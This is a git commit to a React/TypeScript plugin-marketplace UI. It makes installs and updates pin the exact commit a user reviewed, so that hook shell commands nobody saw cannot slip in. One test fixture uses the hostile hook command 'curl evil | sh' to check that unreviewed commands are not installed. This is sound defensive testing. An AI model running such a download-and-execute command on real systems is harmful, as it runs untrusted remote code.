Marketplace: pin the commit the user reviewed (final review I2)

Install and update pinned whatever the marketplace head was when the
click landed, so a background refresh between review and click could
pin content nobody saw (including a hook's shell commands).
install_marketplace_item and update_marketplace_item now take
expected_commit and refuse with "changed since you reviewed this item —
review it again" unless it is still the head. The UI passes the head the
selected item was read at (Browse), the head frozen with a pending hook
confirm (whose commands are frozen too), and the head of the accepted
diff (Installed).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
2026-09-27 10:11:19 -07:00
co-authored by Claude Opus 5.5
parent f2ebddd073
commit dd019cf2c0
13 changed files with 197 additions and 65 deletions
@@ -4,7 +4,9 @@ import { useAppState } from "../../store/appState";
import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
vi.mock("./InstallControls", () => ({ default: () => <div>install controls</div> }));
vi.mock("./InstallControls", () => ({
default: ({ headCommit }: { headCommit: string | null }) => <div>install controls at {headCommit}</div>,
}));
vi.mock("./AddMarketplaceModal", () => ({ default: () => <div>add modal</div> }));
import BrowsePane from "./BrowsePane";
@@ -76,7 +78,15 @@ describe("BrowsePane", () => {
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument();
expect(screen.getByText("install controls")).toBeInTheDocument();
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
});
it("I2: installs pin the head the shown item was read at, not a later one", () => {
const mp = api();
const { rerender } = render(<BrowsePane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
rerender(<BrowsePane mp={{ ...mp, snapshots: [{ ...snapshot, head_commit: "b".repeat(40) }] }} />);
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
});
it("shows why an item is invalid", () => {
+16 -5
View File
@@ -24,7 +24,13 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId);
const [kind, setKind] = useState<KindFilter>("all");
const [query, setQuery] = useState("");
const [selected, setSelected] = useState<{ marketplaceId: string; item: CatalogItem } | null>(null);
// The item is kept as it was read, with the head it was read at: an
// install pins exactly what the detail pane shows (final review I2).
const [selected, setSelected] = useState<{
marketplaceId: string;
item: CatalogItem;
headCommit: string | null;
} | null>(null);
const [adding, setAdding] = useState(false);
const [removing, setRemoving] = useState<Marketplace | null>(null);
@@ -35,7 +41,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
.filter((i) => kind === "all" || i.kind === kind)
.filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q))
.sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name))
.map((item) => ({ marketplaceId: snap.marketplace_id, item })),
.map((item) => ({ marketplaceId: snap.marketplace_id, item, headCommit: snap.head_commit })),
);
}, [mp.snapshots, kind, query]);
@@ -161,7 +167,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
className={inputClass}
/>
<ul className="space-y-1">
{rows.map(({ marketplaceId, item }) => {
{rows.map(({ marketplaceId, item, headCommit }) => {
const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key });
const isSel =
selected?.marketplaceId === marketplaceId &&
@@ -171,7 +177,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
<li key={key}>
<button
type="button"
onClick={() => setSelected({ marketplaceId, item })}
onClick={() => setSelected({ marketplaceId, item, headCommit })}
className={`w-full text-left px-2 py-1.5 rounded-[var(--radius-control)] text-xs ${
isSel ? "bg-[var(--bg-tertiary)]" : "hover:bg-[var(--bg-tertiary)]"
}`}
@@ -197,7 +203,12 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
<section className="flex-1 min-w-0 p-4 overflow-auto">
{selected ? (
<ItemDetail mp={mp} item={selected.item} marketplaceId={selected.marketplaceId} />
<ItemDetail
mp={mp}
item={selected.item}
marketplaceId={selected.marketplaceId}
headCommit={selected.headCommit}
/>
) : (
<p className="text-xs text-[var(--text-secondary)]">Select an item to see what it contains and install it.</p>
)}
@@ -4,16 +4,20 @@ import type { CatalogItem } from "../../lib/types";
interface Props {
item: CatalogItem;
/** The commit whose commands are listed; the install pins exactly this one. */
commit: string;
onConfirm: () => void;
onCancel: () => void;
}
/** Hooks run shell commands in every Claude session, so installing one is always confirmed. */
export default function HookConfirmModal({ item, onConfirm, onCancel }: Props) {
export default function HookConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
return (
<Modal
title={`Install hook “${item.name}”?`}
description="This hook runs the commands below inside the container whenever its event fires."
description={`This hook runs the commands below inside the container whenever its event fires.${
commit ? ` Version ${commit.slice(0, 8)}.` : ""
}`}
widthClassName="w-[40rem]"
onClose={onCancel}
footer={
@@ -6,6 +6,8 @@ import type { AppSettings, CatalogItem, Project } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
const C = "c".repeat(40);
/** The snapshot head the user is looking at. */
const H = "d".repeat(40);
function api(): MarketplaceApi {
return {
@@ -55,22 +57,22 @@ describe("InstallControls", () => {
it("installs for all projects", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" });
expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" }, H);
});
it("installs for one project", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p2/ }));
expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" });
expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" }, H);
});
it("opts a project out of a global install and back in", () => {
const mp = api();
seed([{ ...ref, commit: C }], [project("p1"), project("p2", { marketplace_disabled: [ref] })]);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
const row1 = screen.getByTestId("install-row-p1");
expect(within(row1).getByText("Inherited")).toBeInTheDocument();
fireEvent.click(within(row1).getByRole("checkbox"));
@@ -84,30 +86,49 @@ describe("InstallControls", () => {
it("removes a project-only install", () => {
const mp = api();
seed([], [project("p1", { marketplace_installs: [{ ...ref, commit: C }] })]);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
expect(mp.uninstall).toHaveBeenCalledWith(ref, { type: "project", project_id: "p1" });
});
it("requires confirmation before installing a hook", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(mp.install).not.toHaveBeenCalled();
expect(screen.getByText("/home/claude/.claude/triple-c/hooks/rev/run.sh")).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" });
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
});
it("I2: a hook confirm installs the commit whose commands it showed", () => {
const mp = api();
const { rerender } = render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(screen.getByText(/dddddddd/)).toBeInTheDocument();
// The marketplace moves on while the confirm is open.
rerender(
<InstallControls
mp={mp}
item={item("hook", { hook_commands: ["curl evil | sh"] })}
marketplaceId="m1"
headCommit={"e".repeat(40)}
/>,
);
expect(screen.queryByText("curl evil | sh")).not.toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
});
it("disables everything for an invalid item", () => {
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" />);
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
expect(screen.getByRole("checkbox", { name: /proj-p1/ })).toBeDisabled();
});
it("shows only the filtered project when a filter is set", () => {
useAppState.setState({ marketplaceFilterProjectId: "p2" });
render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" headCommit={H} />);
expect(screen.queryByTestId("install-row-p1")).not.toBeInTheDocument();
expect(screen.getByTestId("install-row-p2")).toBeInTheDocument();
});
@@ -18,13 +18,25 @@ interface Props {
mp: MarketplaceApi;
item: CatalogItem;
marketplaceId: string;
/**
* The marketplace head `item` was read at. Installs pin exactly this commit;
* the backend refuses if the marketplace has moved on since (final review I2).
*/
headCommit: string | null;
}
export default function InstallControls({ mp, item, marketplaceId }: Props) {
/** A hook install waiting for confirmation, frozen at the moment it was asked for. */
interface PendingHook {
scope: InstallScope;
item: CatalogItem;
commit: string;
}
export default function InstallControls({ mp, item, marketplaceId, headCommit }: Props) {
const appSettings = useAppState((s) => s.appSettings);
const projects = useAppState((s) => s.projects);
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
const [pendingHook, setPendingHook] = useState<InstallScope | null>(null);
const [pendingHook, setPendingHook] = useState<PendingHook | null>(null);
const [busy, setBusy] = useState(false);
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
@@ -33,6 +45,8 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
(g) => g.marketplace_id === marketplaceId && g.kind === item.kind && g.key === item.key,
);
const disabled = item.invalid !== null || busy;
// "" never matches a head, so the backend explains that a refresh is needed.
const commit = headCommit ?? "";
const shown = filterId ? projects.filter((p) => p.id === filterId) : projects;
const run = async (fn: () => Promise<boolean>) => {
@@ -47,10 +61,10 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
/** Every install goes through here so a hook is always confirmed first. */
const install = (scope: InstallScope) => {
if (item.kind === "hook") {
setPendingHook(scope);
setPendingHook({ scope, item, commit });
return;
}
void run(() => mp.install(ref, scope));
void run(() => mp.install(ref, scope, commit));
};
const toggleProject = (projectId: string, state: ProjectItemState) => {
@@ -111,12 +125,13 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
)}
{pendingHook && (
<HookConfirmModal
item={item}
item={pendingHook.item}
commit={pendingHook.commit}
onCancel={() => setPendingHook(null)}
onConfirm={() => {
const scope = pendingHook;
const { scope, commit: reviewed } = pendingHook;
setPendingHook(null);
void run(() => mp.install(ref, scope));
void run(() => mp.install(ref, scope, reviewed));
}}
/>
)}
@@ -79,10 +79,21 @@ describe("InstalledPane", () => {
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
await waitFor(() =>
expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }),
expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }, B),
);
});
it("I2: accepts the head that was reviewed even if the update list moves on", async () => {
const C = "c".repeat(40);
const item = { marketplace_id: "m1", kind: "agent" as const, key: "rev" };
const mp = api({ updates: [{ item, pinned: A, head: B }] });
const { rerender } = render(<InstalledPane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
rerender(<InstalledPane mp={{ ...mp, updates: [{ item, pinned: A, head: C }] }} />);
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
await waitFor(() => expect(mp.update).toHaveBeenCalledWith(item, { type: "global" }, B));
});
it("marks installs whose marketplace was removed and forgets them", () => {
const mp = api();
render(<InstalledPane mp={mp} />);
@@ -16,6 +16,8 @@ interface Pending {
update: ItemUpdate;
scope: InstallScope;
scopeLabel: string;
/** Hooks only: what the hook runs at `update.head`, captured with it. */
hookCommands: string[] | undefined;
}
export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
@@ -42,10 +44,13 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
/** Hooks only (spec §3, preflight F8): the rendered commands at head, so the
* diff review shows what a hook will run after the update, not just the
* raw `hook.json` diff. */
const hookCommandsFor = (item: MarketplaceItemRef): string[] | undefined => {
const hookCommandsFor = ({ item, head }: ItemUpdate): string[] | undefined => {
if (item.kind !== "hook") return undefined;
const snap = mp.snapshots.find((s) => s.marketplace_id === item.marketplace_id);
return snap?.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands;
// Only when the snapshot is at the head being reviewed; otherwise they
// would describe a different version than the diff.
if (snap?.head_commit !== head) return undefined;
return snap.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands;
};
const removedSources = [
@@ -100,7 +105,9 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
size="sm"
variant="secondary"
aria-label={`Review update for ${i.key}`}
onClick={() => setPending({ install: i, update: upd, scope, scopeLabel })}
onClick={() =>
setPending({ install: i, update: upd, scope, scopeLabel, hookCommands: hookCommandsFor(upd) })
}
>
Update available
</Button>
@@ -175,9 +182,10 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
fromCommit={pending.install.commit}
toCommit={pending.update.head}
scopeLabel={pending.scopeLabel}
hookCommands={hookCommandsFor(pending.update.item)}
hookCommands={pending.hookCommands}
onClose={() => setPending(null)}
onAccept={() => mp.update(pending.update.item, pending.scope)}
// Pin exactly the head whose diff is on screen (final review I2).
onAccept={() => mp.update(pending.update.item, pending.scope, pending.update.head)}
/>
)}
</div>
@@ -8,9 +8,11 @@ interface Props {
mp: MarketplaceApi;
item: CatalogItem;
marketplaceId: string;
/** The marketplace head `item` was read at. */
headCommit: string | null;
}
export default function ItemDetail({ mp, item, marketplaceId }: Props) {
export default function ItemDetail({ mp, item, marketplaceId, headCommit }: Props) {
return (
<div className="space-y-3">
<div>
@@ -45,7 +47,7 @@ export default function ItemDetail({ mp, item, marketplaceId }: Props) {
)}
<div>
<p className="text-xs font-medium mb-1">Install</p>
<InstallControls mp={mp} item={item} marketplaceId={marketplaceId} />
<InstallControls mp={mp} item={item} marketplaceId={marketplaceId} headCommit={headCommit} />
<p className="mt-2 text-[11px] text-[var(--text-secondary)]">
Running containers pick changes up on their next start or with “Apply now” on the Installed tab. Changes
apply to new Claude sessions.